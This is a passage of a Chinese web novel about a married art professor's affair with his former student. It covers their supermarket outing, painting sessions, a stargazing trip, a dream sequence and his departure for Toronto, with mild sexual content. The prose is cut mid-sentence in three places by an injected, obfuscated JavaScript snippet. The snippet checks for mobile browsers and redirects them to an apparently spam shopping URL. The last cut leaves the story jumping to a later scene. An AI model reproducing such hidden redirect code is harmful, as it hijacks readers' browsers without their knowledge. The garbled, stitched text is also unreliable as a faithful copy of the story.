其实谢念慈想请蒋淳上去坐一坐,但监控紧密,被看到了根本说不清楚,想想还是算了。他穿着婚外情对象的衣服,带着婚外情对象留下的吻痕,回到了最常待的家。 冷冷清清。 手机响了起来。 是林承望。 谢念慈急忙照了照镜子,确认没什么太明显的痕迹外,点开了视频电话,出现的却不是林承望的脸,而是小鱼。 多伦多此时正是凌晨五点左右,小鱼睡眼惺忪,小小声问:“妈咪吃饭了吗?” 谢念慈握住手机的手紧了紧,说谎道:“吃过了,小鱼怎么不睡觉啊?爸爸呢?” 小鱼说:“睡不着,想妈咪。” 谢念慈不着痕迹叹了一口气,在儿子的面前,他的表情有些躲闪,说:“嗯,妈咪也想小鱼,爸爸呢?” 小鱼看起来又困了,眼皮直打架,含糊说:“爸爸去尿尿了……妈咪……”说着说着,小孩睡着了。 谢念慈静静看着儿子的睡颜,没有说话,他在自家客厅缓缓踱步,目光轻移,看向外面璀璨的都市夜景,随后挂了电话。 蒋淳还在楼下等他。 他突然觉得自己被撕成了两半,一半的心已经飞了,还有一半却死死守在原地,守着他最后的底线。 …… “晚上想去哪家餐厅?”蒋淳启动车子,偏过头问谢念慈。 谢念慈想了一下,说:“想吃你做的菜。” 蒋淳笑:“真的吗?那我们要去一趟超市,而且估计得磨蹭到九点才能吃上饭了。” 谢念慈说:“去嘛,我想和你逛超市,好久没和别人一起逛过超市了,在网上总是刷到有人说xx超市的毛巾卷好吃、香酥鱼好吃,你陪我去嘛,蒋淳蒋淳你知道吗,我觉得一个男人好不好就得看他逛超市的水平……” 这又是什么歪理。 蒋淳只好把车开去了那家超市。 在正式和谢念慈发展关系之前,他也有许多浪漫的幻想,花前月下、抵死缠绵……抵死缠绵是有了,他们在床上十分合拍,但真正谈起恋爱,却难免与想象中的惊心动魄不太一样。毕竟恋爱既不是温馨的请客吃饭,也不仅仅是手牵手压马路,这些事和朋友做。 蒋淳一直搞不懂谈恋爱和交朋友的真正界限在哪里,只在不会和朋友接吻上床吗?现在他明白了,即使只是逛超市,和谢念慈一起挑选蔬菜、鲜肉,买零食,讨论哪个牌子的豆瓣酱好吃……心里像是有蚂蚁在爬,密密麻麻,驱使着他想要大庭广众之下亲吻眼前的人,甚至希望一生一世,永远停在这个时间点,谢念慈只注视着他,而他眼中也只有谢念慈一个人。 时间紧任务重,蒋淳只能做一些快手菜,他和谢念慈一回到公寓,两个人开始忙活今晚的晚餐。 谢念慈凑在他的身边,用一种好奇的眼神看他洗菜、切菜或者干任何事,他徒手切土豆细丝,谢念慈就在旁边说:“哇,蒋淳你好厉害,刀工也太好了!” 不是阴阳怪气。 只要看向谢念慈的眼睛,就知道他没有任何的阴阳怪气,那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178501|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛很专注,很温柔,全是眼前的蒋淳。蒋淳说:“信不信我可以一边亲你一边切土豆丝?” 谢念慈神色一紧:“别闹,小心切到手。” 蒋淳停下手里的动作去亲他。 醋溜土豆丝、回锅肉、紫菜蛋花汤……非常简单的一顿晚饭,谢念慈也没闲着,偶尔给蒋淳打下手,但更多时候,他纯粹在找蒋淳聊天。 “明天你有课?” “早上有。” “那我也去画室好了,看你上课。” “……老师别这样,到时候我说不出话了怎么办?” “下午没有课?” “没有,但打算画一画朱总那边的项目。” “我也想画画了。” “想画什么?” “画你。” “真的吗?” “真的。” 第二天下午下了一场暴雨,暴雨过后太阳又跳了出来,碧空如洗。谢念慈拉开了一点窗帘,让自然光打在302里面,细小的灰尘在光柱中飘荡,满室的铅笔颜料味。 他和蒋淳并肩坐着,面前各摆画架,分享着同一对耳机,同一首歌,同一块橡皮,顺着歌单慢慢消磨时间。 “喂——您好,请问是蒋淳蒋先生吗?”谢念慈找了一圈,没找到橡皮在哪,于是摆出打电话的姿势,凑在蒋淳耳边装作在打电话。 蒋淳也做出一幅接电话的模样:“您好,我是蒋淳,请问您有什么需要吗?” 谢念慈在他面前露出笑容,用很夸张的语气说:“蒋先生,橡皮又不见了,是不是被您拿走了?” 蒋淳闻言四处看了一圈,发现那块橡皮完全没了踪影,只好说:“不好意思,橡皮不见了,谢先生需要什么补偿吗?” 谢念慈放下“电话”,对着蒋淳闭上眼睛。 蒋淳俯身亲吻他的嘴唇。 “老师。” 蒋淳轻轻啄着谢念慈的唇。 “我们去看星星吧,明天,或者后天,就在我说的那个露营地。” “欸,不是说给我的生日礼物吗?”谢念慈惊讶道。 蒋淳笑了笑:“我有些等不及了,明年的生日,我还有一万种方案为老师庆祝,但今年我们能看的流星雨只有这一次。” 14.第 14 章 七月十日,英仙座流星雨。 蒋淳虽说家境普通,父母平凡,但自己挺上进的,艺考高考一结束,难以抑制地迷上了观鸟观云观星,暑假疯狂打工只为买一台好的相机。如果不是当年老爹的激将法,他也许不会成为美术生,而是考上985学生物或者物理。当然,没有说生物或者物理专业出来的一定就比美术好找工作。 英仙座流星雨一般在八月达到峰值,七月的这一场强度较低,又恰逢满月,估摸只能看到几个流星的尾巴。但他等不及了,喜欢一个人就会迫不及待想把一切剖开给那个人看,自己的爱好,自己的经历,自己的梦想,一切的一切,恨不得全部告诉那个人。 所以,你愿意和我一起去看流星雨吗? 蒋淳把这句话在心里重复了好几遍,没能说出口,实在太偶像剧了,让他想起十年前在表姐家过暑假被迫看的狗血偶像剧。男女主高高兴兴约定去看流星雨,结果一辆车飞驰而来,男主死了,女主哭成了泪人,还发现自己怀了男主的孩子…… 但他和谢念慈都活在现实。 这是一场婚外情。 他只是看着谢念慈,说:“今年夏天能看的流星雨只有这一次。”在谢念慈前往多伦多之前,在这个夏天结束之前。 如果12月他们都有时间,蒋淳还想带谢念慈去隔壁N省的草原看双子座流星雨。他年年都跑一趟N省,扛着三脚架、天文望远镜和单反相机,在草原上一待就是三四天。双子座的流星雨堪称壮观,他坐在草原上追了好几年,终于有一天,一颗双子座的流星撞进了他的怀里,叫他蒋淳蒋淳。 “好呀。”谢念慈同意了,“要准备什么东西吗?比如帐篷、睡袋之类的,那个地方蚊虫多吗?” 蒋淳亲亲他的脸颊:“老师带上自己就好了,我来准备。” 谢念慈听见自己能当甩手掌柜,自然十分满意,甚至得寸进尺说:“只带我去看流星雨吗?我还想去更多的地方……算了,你还要上课。” 蒋淳做了一个打电话的姿势,嘴巴发出“嘟——嘟——”的声音:“老板大人,我申请您批假一周,我的女朋友要求我带他出去玩,实在不忍心拒绝,望您批准!” 谢念慈接电话,表情严肃:“小蒋啊,你怎么可以因为女朋友就请假呢?我不批准,还要扣你的工资。” 蒋淳看着他,笑笑:“真的不批准吗?” 谢念慈问:“你女朋友是谁?” 蒋淳说:“谢念慈。” 谢念慈做出一个疑惑的表情:“谢念慈啊……这个名字好耳熟,他不应该是你的毕设导师吗?不行不行,我不能答应。” 蒋淳面露遗憾:“不答应吗……真可惜,我还想着去看完流星雨,第二天顺路到环球影城玩一天,然后开车去N省,夏季的草原水草丰茂,青草和野花交织成一大片地毯,牛羊成群,特别适合风景写生,我想谢念慈一定会喜欢的。” “谢念慈当然很喜欢。” 谢念慈说。 “我批准了,必须带你女朋友去你刚刚说的那些地方玩,不然明天就开除你!” 两个人都笑了起来,并肩坐在那里,你碰碰我,我碰碰你,挤眉弄眼,又忍不住凑近接吻,蒋淳问:“你真的要开除我?” 谢念慈说:“看你表现。” 短途旅行并不需要太多的准备,恰好谢念慈的路特斯后备箱也足够大,恰好能装下帐篷、摄影装备、画架画材颜料以及两个人的生活用品。蒋淳和别的老师换了课,为期一周;谢念慈摘下了左手无名指的铂金素环,放回家中的床头柜,在一个云淡天高的盛夏午后,离开了B市市区。 车外的阳光毒辣,照得谢念慈几乎睁不开眼,他躺在副驾驶座上,穿着从蒋淳衣柜里翻出的白衬衫。那衬衫松松垮垮的,但版型好看,穿在他的身上有一种oversize的休闲感。车内空调打得很足,他有些冷,在腿上披了一条薄毯子,左手轻轻挽着蒋淳的手臂,右手跟着音乐打拍子。 “蒋淳蒋淳,你会唱歌吗?” 切了一首他没听过的歌,男声低沉悠扬,和蒋淳的声线有点相似,谢念慈突然坐起来,问蒋淳。 蒋淳说:“我是跑调大王。” “真的吗?”谢念慈凑到他的身边,笑得一脸狡黠,“你唱给我听嘛,你不唱,我怎么知道你跑不跑调。” 蒋淳叹气:“我唱得很难听,老师把我丢出车了怎么办?老师先唱吧,做个榜样。” 谢念慈清了清嗓,说:“那我先唱……我当年可是校园十大歌手。”一边说着,一边翻找歌单,“唱个什么呢?” 他唱了一首很轻快的美国乡村慢摇,歌词简单,唱的就是把春天的樱桃草莓酿成夏日美酒,恋人脱下银色靴子在乡间漫步。此时他们已经离开了B市市区,向着草原进发,车外的景色从高楼大厦逐渐转为郊区的风景,夏树浓郁得化不开绿。不过明天要掉头去一趟环球影城,蒋淳已经买好了票。 唱完了,谢念慈得意说:“很厉害吧?” 蒋淳说:“这下更不敢唱了。” 谢念慈说:“不唱就把你丢下车!” 蒋淳只好唱了,眼睛紧紧看着前方车辆,胡乱唱了一首,跑调跑到了天边,简直白费了那一副好嗓子,谢念慈听了半天,才勉勉强强听出他唱的是粤语。也不能说是粤语,完全就是在用普通话念歌词。 “幸好这里没有G省人。”谢念慈捂脸,“不然你完蛋了!” 蒋淳很无辜:“都说了我跑调。” “所以你唱的是哪首歌?” “谭咏麟的。” “谭咏麟的哪一首?” 蒋淳把车开进服务区,心里仿佛塞满了蚂蚁,上爬下爬,咬得他心脏酸酸胀胀的,他说:“是谭咏麟的……” 谢念慈的手机响了。 “我出去接个电话。”谢念慈抱歉笑了笑,打开车门出去了。 蒋淳盯着他的背影,在心里默默补充说,是谭咏麟的《一生中最爱》,他唱歌真的有那么差吗?都用普通话念歌词了谢念慈竟然听不出。 是谁给谢念慈打电话? 多伦多已经凌晨了。 …… 黄瑞最近几天是吃不好睡不好,深觉自己做了一件大错事。他老婆姓秦,是个专门搭离婚官司的律师,他追了七八年,才把人给追到手,自然是捧在手心里,对秦律师言听计从。 察觉谢念慈不太对劲的那天晚上,他回家吃饭,秦雅梦坐在他的对面,和他一脸唏嘘分享八卦:“老黄,你记得我之前给你看过的那个婚姻咨询师吗?据说很神的那个。” 黄瑞大口大口扒拉老婆的爱心晚餐,楼下二十四小时营业的便利店便当,拌了一点岳父岳母自己做的辣椒酱,很辣,辣得他眼泪直掉。秦雅梦是湘省人,特能吃辣,黄瑞只能顺从。他喝了一口水,接话问:“怎么了?” 秦雅梦说:“被人打了!” 黄瑞辣得斯哈斯哈:“草,怎么被人打了?被谁打了?” 秦雅梦压低了声音:“是我一个客户的老公打的,这两口子闹离婚,互相抓把柄,女方唰唰唰摆出了男方出轨十年的证据,男方不甘示弱,把女方养的小白脸拉到法庭上大骂特骂,小白脸也不爽了,大声说都是万逸那个狗东西,介绍我傍富婆!男方一气之下冲去万逸的心理机构,把人给打了。” 黄瑞听得目瞪口呆:“牛X。” 秦雅梦说:“谁能想到一个搞婚姻心理咨询的天天怂恿客户出轨呢?也不懂万逸的证有没有被吊销。” 怂恿……出轨? 黄瑞莫名想起谢念慈近来的不正常。 他把万逸推给了谢念慈。 应该没关系吧?毕竟谢念慈说自己没有去,就算去了,以谢念慈和林承望的感情,也不可能被轻而易举怂恿出轨吧? 黄瑞就是这种表面看起来不靠谱,内里特能为朋友两肋插刀的人。林承望对不起谢念慈,他才不管对方是什么总裁CEO,反正他爸也有钱,谁怕谁?但如果是谢念慈…… 不可能。 绝对不可能。 大半夜的,他在床上烦躁得翻来覆去。躺在一旁的秦雅梦气得不行,踹了一脚丈夫,骂道:“不睡觉就滚蛋。” 黄瑞灰溜溜爬起来,在阳台上抽烟。 第二天,他到了画室,但意外的是谢念慈不在。他在楼上楼下游荡了半个小时,碰上一个早到的画室老师,就问:“你们谢教授呢?” 画室老师摇头:“不清楚,谢教授昨天就没来。” “这样……”黄瑞点点头,反正闲着无事,就和这个年轻小伙瞎聊聊,“你要去上课?” 画室老师叹气:“是啊,本来今天不是我的,但负责色彩的蒋老师请假了,说要去N省写生,我不得不顶上了,还好有钱拿……” “哎呦,这个蒋老师过得舒坦。”黄瑞表示理解,“我怎么没见过?你也是,今年刚毕业的?” 画室老师说:“是,我和蒋老师都是今天刚毕业的,他在谢教授手下搞毕设,两个人关系还挺好的。” 黄瑞点点头,又和人闲聊了几句,然后往下走,一边走一边给谢念慈打电话。手机嘟了好几声,终于接通,他听到谢念慈那里传来鸣笛声,还有车快速驶过的唰唰声响。 “阿慈,你在哪呢?”他一只脚踩在花坛上,眯着眼睛看太阳。 “我在外面,你有事吗?” “哪个外面?” “郊区,打算去写生。” “写生?” “和驴友组了一个团,自驾游到N省写生,好久没画画了,听说现在的草原风景不错,正好我老公儿子都去了多伦多,就出去玩玩。” “……是N省?” N省? 莫名其妙的,黄瑞想起那个早上,他和谢念慈在画室门口聊天,有一群人经过时,谢念慈脸上露出了一个微妙的笑容。黄瑞认识谢念慈很早,上大学时他们是舍友,谢念慈提起自己的男朋友时,就会露出那个笑容,因为人长得养眼,那样甜蜜地笑起来,足以让人记忆犹深。 黄瑞心中顿时警铃大作,他一个转身,大步大步跑回画室,一把抓住刚才那个画室老师,问:“你说的那个蒋老师长什么样?” …… 蒋淳有一年没来这片露营地了。一年过去,露营地又开发了不少,甚至有木屋可以租赁,以防下雨时没地方躲雨。 他们以防万一,订了一座木屋,在半山腰的平台,可以走上去,也可以坐小火车。蒋淳虽然说体力好,但又拎相机又背帐篷的,实在扛不住,和谢念慈一起坐小火车。火车喷了一层绿漆,故意做旧,外皮斑驳,行驶在树林之间,细碎的阳光从叶片缝隙洒下,谢念慈靠着蒋淳的肩,两个人一起听歌。 小火车发出哐当哐当的动静。 这里的山林呈现出典型的温带季风气候特点,长满了椴木、枫木、松木、银杏以及桦木,藤蔓错综复杂,勾结着一棵又一棵浓密如盖的树木。蒋淳低下头看向谢念慈,说:“这里的秋天很漂亮,枫叶像火,银杏像金子,溪流清澈。我来这里之前,从没有想过B市近郊还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184277|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这种地方。” 谢念慈靠着他的肩头,阳光从没有玻璃的车窗落在两个人的身上,于是他们一半在光里,一本在阴影之中,光影不停地变换。谢念慈问:“你来这里做什么?看流星雨吗?” 蒋淳说:“差不多吧,观星,观鸟,观云,扛着相机到处跑,拍到好的照片回到学校就想方设法画出来,色彩是光影的魔法,没办法参透大自然的光影规律,怎么也画不好色彩的。” 小火车开了不到半个小时,在半山腰停下。他们手牵手跳下火车,踩在潮湿松软的泥土上,叶片在他们脚下腐烂,蚯蚓在土地中缓缓蠕动,空气满是生命的气息。 木屋就坐落在不远处的平台。 谢念慈快步上前,扫开遮挡视线的树枝,夕阳如海潮涌来,西方天空呈现出一种瑰丽的紫红色,而从西到东,紫红色渐变成粉橘色,又慢慢过渡到白蓝色,简直是完美的油画色彩参考。他俯视山脚,看见远方的高速公路上有车飞掠而过,向着B市的方向。 在太阳彻底落山之前,他们在木屋的空地上搭好了帐篷,摆好三脚架、望远镜和相机,铺上野餐垫。出发前两个人在厨房捣鼓了好一阵,做了点填肚子的饭菜,没想到木屋里竟然有微波炉,热好菜,并肩坐在木屋的屋檐下,你一筷子我一筷子分享着咸蛋黄鸡翅和炒饭。 谢念慈想起自己很小很小的时候,学校组织去春游秋游,固定在S市的几个大公园,大部分小孩都是买各种零食,爸妈有空的就做果切和熟食,说不上很好玩,但他就是喜欢。哪个小孩子不喜欢郊游呢?连平时凶神恶煞的班主任在那一天都笑眯眯的。 他现在就有一种郊游的喜悦。 不用上课,不用写作业,最多写一篇游记,今天的他只需要全盘享受快乐,从城市里逃走,和一个人看星星。 好笨啊。 怎么会想要看星星呢? 夜幕降临了,丝绒一般的夜色吞没了大地,他们并肩躺在野餐垫上,看天空骤然亮起细碎的星光,然后一朵乌云慢悠悠飘了过来。 “不会要下雨吧!”谢念慈猛地坐了起来,神色紧张看着蒋淳。 蒋淳也如临大敌,眼睛一错也不错盯着那朵云。 那朵云和他们开了一个玩笑,飘走了。 肉眼的星空和照片里的差别很大,即便这里已经是B市附近光污染最少的地方了,银河依然只是一条淡淡的薄纱。 “老师,你看。” 蒋淳指向天空正中的一颗星星。 “那个木星,现在围绕在它身旁的是双子座。” 谢念慈听见自己的星座,兴奋说:“真的吗?在哪在哪?” 蒋淳就指给他看,双子座的西方,是猎户座、金牛座,而西南方向那颗明亮的星星,是天狼星,它们的中间往下,有三颗连在一起的星星,便是有名的福禄寿三星了,在猎户座的东南方向,有一团明亮的星星,是昴星团…… 谢念慈把头贴着他的胸膛上,眼睛里亮亮的,眨也不眨看着天空,问:“那你呢?你在哪?” “我?” “射手座在哪里?” “射手座吗?一般我们观星的叫人马座,在南半球呢,和双子座差了半个天空吧……” “这么远吗……” “是,很远,但实际上每个星座之间都很远。” “我当然知道,虽然我物理不及格但也还算有常识吧!我只是觉得……好温柔,夜空好温柔,哪里都很温柔,如果能一直看着星星,看它们落下又升起,一定很幸福吧。我以前在北极看过极光,一路从瑞典追到挪威,极光很张扬很有存在感,但今天看到的星空……很温柔。蒋淳,有没有说过你是个很温柔的男人?” “没有。” “那我说过了。” 谢念慈趴在他的胸口上小声说。 蒋淳大脑一片空白。 到底谁在勾引谁?谢念慈远比他想的更会谈恋爱,非常娴熟,不是那种油嘴滑调的娴熟,而是一种近乎纯真的熟练。 “老师很会谈恋爱。” 他说。 “是吗?”谢念慈撑起身子,歪着头看他,“我可是抱着‘这是最后一次恋爱’的决心在谈恋爱哦。” “最后一次恋爱?” 谢念慈有些尴尬,咳了一声:“差不多吧……总之不重要,我瞎说的。” 蒋淳没谈过恋爱,在遇见谢念慈之前,他没有什么与人创建一段关系的欲望。有的人天生是无性恋,有的人只是在等一个瞬间。他向上,谢念慈向下,撞到一起,他等的就是这个瞬间。 一见钟情也好,见色起意也罢,但有的爱情就是这么突如其来,那首著名的日剧主题曲怎么唱来着的?对,那一天那一刻在那里,如果不曾与你相遇,我们将永远是陌生人。 蒋淳很好胜,所以他千方百计接近谢念慈,将人睡到手,可越是深入了解,越是远远不止喜欢,因为没有人不会爱上谢念慈。 只要被那双眼睛全心全意注视着。 “老师。” 蒋淳起身,扶着谢念慈的肩膀,两个人面对面。 天边划过一线流星。 “我……” 谢念慈也有点懵,他不知为何有些慌乱,眼睛一个劲瞥着星空,看见那一线的流星,仓皇说:“流星雨来了。” 不要说那个字。 其实在车上,他早就猜出了蒋淳在唱什么歌。 不要说那个字。 如果说了…… 他怎么忍心登上去多伦多的飞机? 15.第 15 章 谢念慈漫步在草原上。 天是沉沉的克莱因蓝,一望无际,星星是天上的白点,一闪一闪,时不时有流星拖着长尾划过天际,落下数不清的星星碎屑。 草地也是白色的,正随着旷野的风如海浪般起伏。谢念慈的头发被风吹散了,在苍蓝的夜幕里飞舞,像是熊熊燃烧的黑色火焰。 他游荡了许久,怎么也没发现一个人,心里空落落的,好在还有满天的星星陪伴自己,不至于那么寂寞。走了不知多久,他的面前出现一座电话亭,白色的简笔画风格,在苍蓝的背景下线条不断颤抖,真让人担心它会不会崩塌。 谢念慈走了进去。 他拿起话筒,贴在耳朵上,开始拨动按钮,键盘上不是数字,而是二十六个字母,他按下JIANGCHUN这九个按键,听话筒发出漫长的嘟——嘟—— “喂,你好。” 话筒那一头传来熟悉的声音。 “你是蒋淳吗?”谢念慈有些紧张。他死死把着话筒,眼睛眺望远方,天幕上的流星越来越多,是安静的白焰,让他眼前一片寂廖的白。 “是,我是蒋淳。” 但世界上有四百个人叫蒋淳,有男有女,我怎么知道你是我的那个蒋淳呢? “你真的是蒋淳吗?是那个B美的毕业生、画室老师、带我去看星星的那个蒋淳吗?我不确定……我分辨不清你的声音。” “是,我是那个蒋淳,我知道你是谁,你是谢念慈。” “蒋淳,你在哪里?我怎么找不到你了?” “我在草原上,一个电话亭里。” “我也在一个电话亭里。” 流星消散之后,旷野又恢复了绝对的幽蓝,谢念慈眺望远方,终于看见在西方有一座一模一样的电话亭,里面有一个小小的人在向他招手。 “蒋淳,蒋淳——”他高兴极了,甚至忘了放下话筒,一边奔向那个人,一边对着话筒里的人说:“蒋淳,我现在就来找你,一觉醒来发现你不在我的身边,我好孤单,以为你消失不见了……” 电话线似乎无穷无尽,谢念慈就这样拉着电话线一路向前,洁白的牧草推着他,寂静的星星凝望着他。而蒋淳也朝着他奔跑,一边跑,一边向他招手,两个人手里都拿着话筒,一条发光的电话线牵着他们,在旷野的风中荡荡悠悠。 “老师,你说的那句话是什么意思?”蒋淳在电话里问,这个人体力很好,跑成那样居然一点也不喘。 “那句……话?”谢念慈跑得快死了,实在撑不住,只好停了下来,撑着膝盖大喘气。 “抱着‘最后一次恋爱’的决心和我谈恋爱。” 谢念慈这次没有糊弄过去,他盯着正在奔跑的蒋淳,一字一句说:“因为我是认真的,我每次谈恋爱都很认真,包括和林承望。我只谈过两次恋爱,一次是和他,还有一次是和你。你带我去看星星,说星星之间离得很远很远,双子座和射手座没办法出现在同一个天空,但我们还是相遇了。宇宙里有那么多的东西,为什么偏偏是我们相遇了呢?我看过科普,说在宇宙中人与人的相遇概率是两百万分之一,成为朋友的概率是两亿分之一,灵魂契合的概率是六十亿分之一!几乎为零的概率,但我们还是遇上了,所以必须要拿出百分百的认真来和你谈恋爱……相遇了却不好好珍惜的人最差劲了,我不想成为那样的人。” 他看见蒋淳越来越近,男人在风中摇曳的短发,硬挺的眉毛与鼻梁,甚至他能看清楚蒋淳的睫毛和脸上不起眼的痣,在这里他们没有任何隐瞒,一切都是最本质的模样,连蒋淳的心脏,他都看到了,是苍蓝与素白之间的一团橘红,蒋淳越靠近他,他越是温暖。 蒋淳跑到他的面前,说:“@!%……” 说的什么话? 谢念慈懵了,连忙问:“@#%&+=?” 等一下……为什么他也说不出人类的语言了?于是他和蒋淳面对面站着,依旧没有放下电话话筒,两个人对着话筒叽里咕噜哔哔啵啵了好一阵子,天上的流星一颗又一颗坠落。 谢念慈忽然明白了。 这里不是地球,说中文没用,只能说外星语,但他和蒋淳都不清楚到底是哪一颗星球,不是火星不是金星不是木星,也许都不是太阳系,只能拙劣地用肢体语言,在草原上手舞足蹈。 最后,蒋淳似乎看不下去了,一把握住谢念慈的手腕,让谢念慈触摸他的心脏,扑通扑通,温暖却不烫手。 他低下头,吻住谢念慈的唇。 扑通扑通—— 谢念慈猛然惊醒。 晨光从窗帘里挤出一线,轻飘飘撒在空调被上,一米五的床让他和蒋淳紧紧抱在一起,他的半边脸贴着蒋淳的胸膛,听见了里面有力的心跳声。 扑通扑通。 他缓缓吐出一口气,又忍不住笑了笑,搞不明白自己怎么会做这种荒诞离奇的梦,一定是他前几天和蒋淳天天在草原上写生和摄影,现实在潜意识里沉淀,于是就成了梦。 伸手捞手机,一看,早上六点半。 他的飞机是下午三点。 还有八个半小时。 空调打得低,露在空调被外头的皮肤冰凉,人和蒋淳卷在一条空调被里,你挨着我我挨着你,什么都没有穿。他把头从蒋淳的胳膊上挪开,不用想都知道这人的手臂麻了,他帮忙揉了揉,然后脸颊贴上男人的胸膛,一点一点往上蹭,直到两个人面对面。 蒋淳似乎还在睡。 他用手指轻轻描摹蒋淳的脸庞,从眉毛到嘴唇,用嘴轻轻吹气,吹动蒋淳细碎的额发。 “痒。” 蒋淳说。 谢念慈趴在他的身上,捧着他的吧唧亲了一口,笑眯眯说:“起床啦,快给我做早餐!” 蒋淳回吻,两个人亲了一会儿,他才起身去找衣服。谢念慈从床上坐起来,用空调被裹着自己,只露出一个脑袋,说:“蒋淳,帮我拿衣服过来。” 他昨天回家把行李收拾了,一个大箱子,提到蒋淳的公寓。此时箱子躺在卧室的一角,已经被打开了,里面整整齐齐码着衣物和生活用品。 “要穿哪件?”蒋淳一边穿裤子,一边问他。 谢念慈说:“你帮我选。” 反正蒋淳能帮他做的事,他一概让给蒋淳,连穿什么衣服他都懒得想,在N省的那几天他抓过蒋淳的T恤衬衫就往身上套,两个人穿着五颜六色的T恤戴着遮阳帽背着画板走在草原上,颇有落魄艺术家的气质。他带了防晒霜,每次在太阳下走路,他先给自己喷,然后拉过蒋淳的手,给男人的手臂和脸都喷上防晒霜。蒋淳说,自己从不搞这种东西,他说,会晒伤皮肤哦。 这趟旅行算不上轰轰烈烈,但确实是一场逃亡,谢念慈难得从日常琐事里抽出身,静下心来写生。他和蒋淳日出而起,日落而息,追着光影跑,看眼前的草原变化出不同的颜色,浓绿,浅绿,火红的是萨日朗,金灿灿的是金莲花,还有一大片一大片的格桑花。他们的色彩写生通常是你一笔我一笔,谁想好了谁动笔,合绘,一开始还会为了某个环境色闹脾气,但吃过晚饭洗完澡上完床就都忘了,再多的脾气也敌不过彼此默契的欢爱,他们几乎天天做,做累了刚好睡觉,一天下来打开手机的次数寥寥无几。 蒋淳说,好想再去一趟独库公路,天山脚下的草原细腻优美,而N省的草原辽阔雄壮,走一趟草原才能真正明白为什么诗人要写“目击众神死亡的草原野花一片”,千年来草原上的爱生生不息。谢念慈就撑着下巴看他,星星眼,说,蒋淳你的作文一定很高分吧? 日子一天一天过去,今天的谢念慈就要离开。 蒋淳的审美还算不错,而谢念慈的穿衣风格又很固定,箱子里全是浅色系的棉衬衫和薄款长裤,随便搭一搭不会丑到哪里去。唯一的例外是那条红裙,暴露,热烈,谢念慈把它放进了蒋淳的衣柜,让蒋淳替他保管。 “真的?”蒋淳的脸色一瞬古怪,“你不担心我用它来做不好的事情吗?” 谢念慈正背过身子系纽扣,闻言扭过头,疑惑问:“你要做什么?” 蒋淳一只手撑着床沿,另一只手接过他的衣襟,帮他单手系扣,伏在他的耳边说了一个很下流的词。 谢念慈耳垂微红,轻咳一声:“你要是敢把它弄脏小心我回来揍你。” 蒋淳说:“这么凶啊?” 谢念慈别过头,懒得理他。 他们吃过早饭,煎鸡蛋培根和吐司,谢念慈说多伦多的白人厨子早餐就给他们做这个,非常之无聊,他每年去北美都觉得那边的人味觉失灵了。蒋淳没有单单煎了几个鸡蛋,他在上面撒了黑胡椒、火腿粒和小葱,中心的蛋黄一戳就流心,培根卷上一圈蛋液十分的可口。 早上八点。 他们下楼去超市,买午餐的材料,顺便烤一点饼干小蛋糕之类的东西,谢念慈买的是头等舱,但这家航空公司的菜品一向难吃,他还是想带点小零嘴啃一啃。两个人在厨房里揉面,四只手揉一个面团,那个面团可怜极了,被蹂躏得不成这样,刚揉圆,又被人揪出两只耳朵。 “饼干烤好要一个小时……蒋淳,我们做什么?” “嗯……让我想想。” 十点。 谢念慈和蒋淳坐在懒人沙发上,投影着一部老电影,厨房里的烤箱发出沉闷的声响,时间正在一分一秒流逝。 “再做一次吧。”谢念慈说。 于是他们又做了一次,谢念慈趴在懒人沙发上,被弄得双腿发软。事后他喘着气,和蒋淳闲聊说:“我昨晚做了一个梦,梦到你说的话变成了外星语,我怎么也听不懂……” 蒋淳面露惊讶:“外星语?” 谢念慈问:“蒋淳,你是不是外星人?” 蒋淳皱着眉仔细思考,片刻,他说:“应该不是,不然我们就是人外了。” 谢念慈笑了一会儿,顺手打开了手机。 ——下午一点。 两个人立马起身,匆匆忙忙更衣收拾东西,打快车飞奔机场,好在没有堵车,勉勉强强压上了点。 登机口前人来人往,有人在互相拥抱,有人在挥手告别。谢念慈走了几步,转过身说:“回去吧,我们九月见。” 蒋淳点头:“好,九月见,登机了记得发消息。” 两个人站在登机口前大眼瞪小眼。 谢念慈有些急了,说:“你快转过身,我要登机了!” 蒋淳说:“你还没转身呢?” “非要比谁先转身吗?” “数到三吧,一起转身。” “好。” “三——” 谢念慈的心不正常跃动着,他紧紧盯着蒋淳,看对方究竟什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢念慈崩溃了,他不停地抹眼泪,却越抹越多,他看见飞机在解体,他飘了起来,座机也飘了起来,一根长长的电话线不知延伸向何处…… 哔—— 哔—— 沙沙沙…… 多伦多在下雨。 谢念慈再一次醒来,终于回到了现实。 他吓得浑身冷汗,猛地从床上坐起来,身旁躺着丈夫和儿子,而窗外绿荫正浓,细细密密的雨轻柔打在玻璃上,扭曲了些许景色。 是的,他已经到多伦多三天了。 没办法不去想念那两周,轻盈而梦幻,一旦回想起与蒋淳交握的双手,他的心似乎也穿越了万里,与那个人心连着心。 他兀自在床上坐了一会儿,复而躺下,抱住自己的宝贝儿子,而床另一边的男人翻了几下身子,忽然开口问:“宝宝,你醒了?” “嗯。” 